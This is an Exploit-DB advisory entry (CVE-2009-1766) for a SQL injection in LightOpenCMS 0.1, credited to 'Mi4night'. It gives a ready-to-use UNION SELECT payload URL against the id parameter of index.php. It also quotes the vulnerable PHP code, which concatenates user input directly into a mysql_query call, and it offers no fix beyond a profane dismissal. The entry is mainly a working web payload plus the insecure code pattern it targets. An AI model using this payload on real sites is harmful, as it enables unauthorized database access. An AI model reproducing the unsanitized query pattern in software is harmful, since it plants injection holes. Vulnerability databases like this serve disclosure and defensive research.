LightOpenCMS 0.1 id Remote SQL Injection Vulnerability

ID EDB-ID:8724
Type exploitdb
Reporter Mi4night
Modified 2009-05-18T00:00:00


LightOpenCMS 0.1 (id) Remote SQL Injection Vulnerability. CVE-2009-1766. Webapps exploit for php platform

                                            [+] LightOpenCMS (id) SQL Injection Vulnerability

[+] Author: Mi4night

[+] Script:

[+] Injection:[path]/index.php?id=-1%27%20union%20select%201,2,@@version,4%20%23

[+] Requires: magic_gpc() == OFF

[+] Vulnerable code:
if (isset($_GET['id'])) {
            $result = mysql_query("SELECT * FROM pages WHERE id='".$_GET['id']."'");

[+] Patch:
Its fucking beta.. or alpha or whatever. they'll fix it in the stable version !

[+] Shoutz to: Nuc my brotha, str0ke and all the otherz i forgot xD

# [2009-05-18]